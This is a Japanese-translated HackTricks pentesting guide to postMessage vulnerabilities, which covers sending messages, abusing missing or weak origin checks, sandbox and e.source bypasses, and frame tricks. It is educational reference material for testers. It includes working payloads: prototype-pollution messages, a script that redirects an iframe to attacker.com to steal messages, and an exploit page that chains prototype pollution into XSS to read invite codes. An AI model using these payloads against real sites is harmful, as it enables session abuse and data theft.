hacktricks/pentesting-web/postmessage-vulnerabilities
2023-07-07 23:42:27 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Japanese 2023-07-07 23:42:27 +00:00
bypassing-sop-with-iframes-1.md Translated to Japanese 2023-07-07 23:42:27 +00:00
bypassing-sop-with-iframes-2.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Japanese 2023-07-07 23:42:27 +00:00

PostMessageの脆弱性

PostMessageの脆弱性

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PostMessageの送信

PostMessageは、次の関数を使用してメッセージを送信します:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

注意してください。targetOriginは'*'または_https://company.com_のようなURLである場合があります
2番目のシナリオでは、メッセージはそのドメインにのみ送信されます(ウィンドウオブジェクトのオリジンが異なっていても)。
ワイルドカードが使用される場合、メッセージは任意のドメインに送信され、ウィンドウオブジェクトのオリジンに送信されます。

iframeとワイルドカードを使用した攻撃

このレポートで説明されているように、X-Frame-Headerの保護がないiframeで表示できるページを見つけ、ワイルドカード(*)を使用してpostMessageを介して機密情報を送信している場合、iframeorigin変更して、機密情報を自分が制御するドメインに漏洩させることができます。
ただし、ページがiframeで表示できるが、targetOriginURLに設定されていてワイルドカードではない場合、このトリックは機能しません

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListenerの悪用

**addEventListener**は、JSがpostMessageを期待している関数を宣言するために使用される関数です。
以下のようなコードが使用されます。

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

この場合、コードが最初に行っているのはオリジンのチェックです。これは非常に重要です。特に、ページが受け取った情報を何かしらの機密な操作(パスワードの変更など)に使用する場合には重要です。オリジンのチェックが行われていない場合、攻撃者は被害者に任意のデータをエンドポイントに送らせ、被害者のパスワードを変更することができます(この例では)。

列挙

現在のページでイベントリスナーを見つけるためには、以下の方法があります:

  • JSコード内でwindow.addEventListener$(window).onJQueryバージョン検索する
  • 開発者ツールのコンソールで次のコマンドを実行する:getEventListeners(window)

  • ブラウザの開発者ツールで_Elements --> Event Listeners_に移動する

オリジンの基本的なバイパスのチェック

  • もし、PostMessageイベントのオリジンをチェックするために**indexOf()**が使用されている場合、次の例のように簡単にバイパスされることに注意してください:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\
  • もし、search()オリジンを検証するために使用されている場合、安全ではない可能性があります。String.prototype.search()のドキュメントによると、このメソッドは文字列ではなく正規表現オブジェクトを受け取ります。正規表現以外のものが渡されると、それは暗黙的に正規表現に変換されます。
    正規表現では、ドット(.)はワイルドカードとして扱われます。攻撃者はこれを利用して、公式のドメインではなく特別なドメインを使用して検証をバイパスすることができます。例えば、"https://www.safedomain.com".search("www.s.fedomain.com")のようにです。\
  • もし、escapeHtml関数が使用されている場合、この関数はnewでエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。つまり、hasOwnPropertyに応答しない制御可能なプロパティを持つオブジェクトを作成できれば、エスケープされません。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Fileオブジェクトは、読み取り専用のnameプロパティを持っているため、テンプレートで使用され、escapeHtml関数をバイパスするのに最適です。

e.origin == window.originのバイパス

ページが<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">を介してサンドボックス化されたiframeに埋め込まれると、そのiframeオリジンは**null**になります。

sandboxの値がallow-popupsに設定されている場合、開かれたポップアップは、allow-popups-to-escape-sandboxが設定されていない限り、すべてのサンドボックス属性継承します。
したがって、nullのオリジンからポップアップを開くと、ポップアップ内の**window.originnull**になります。

したがって、ポップアップを許可するサンドボックス化されたiframeを開き、そのiframe内からポップアップを開き、iframeからポップアップにpostMessageを送信すると、両方のオリジンはnullになるため、**e.origin == window.origin == null**です。

詳細については、以下を参照してください:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.sourceのバイパス

postMessageを送信し、すぐに削除されるiframeを作成することで、メッセージの**e.source**をnullに強制することができます。

詳細については、以下を参照してください:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Headerのバイパス

これらの攻撃を実行するためには、理想的には被害者のウェブページをiframe内に配置できることが望ましいです。ただし、X-Frame-Headerなどの一部のヘッダーは、そのような動作を防止することがあります。
そのようなシナリオでは、より目立たない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、それと通信することができます:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

メインページのブロックによる子への送信メッセージの盗み出し

以下のページでは、メインページを送信データを送る前にブロックし、子のiframeに送信される機密のpostmessageデータを盗み出す方法を示しています。そして、子のXSSを悪用してデータが受信される前にデータを漏洩させます。

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

iframeの場所を変更してメッセージを盗み出す

もし、X-Frame-Headerを持たないウェブページに別のiframeが含まれている場合、その子のiframeの場所を変更することができます。そのため、ワイルドカードを使用して送信されたpostmessageを受信している場合、攻撃者はそのiframeのオリジンを自分が制御するページ変更し、メッセージを盗み出すことができます。

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

Prototype Pollutionおよび/またはXSSへのpostMessage

postMessageを介して送信されるデータがJSによって実行されるシナリオでは、ページをiframe化し、postMessageを介してエクスプロイトを送信することで、プロトタイプ汚染/XSSを悪用することができます。

非常に詳しく説明されたXSSの例は、https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.htmlで見つけることができます。

postMessageを介してiframePrototype Pollutionを悪用し、その後XSSを行うエクスプロイトの例:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

詳細情報については以下を参照してください:

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥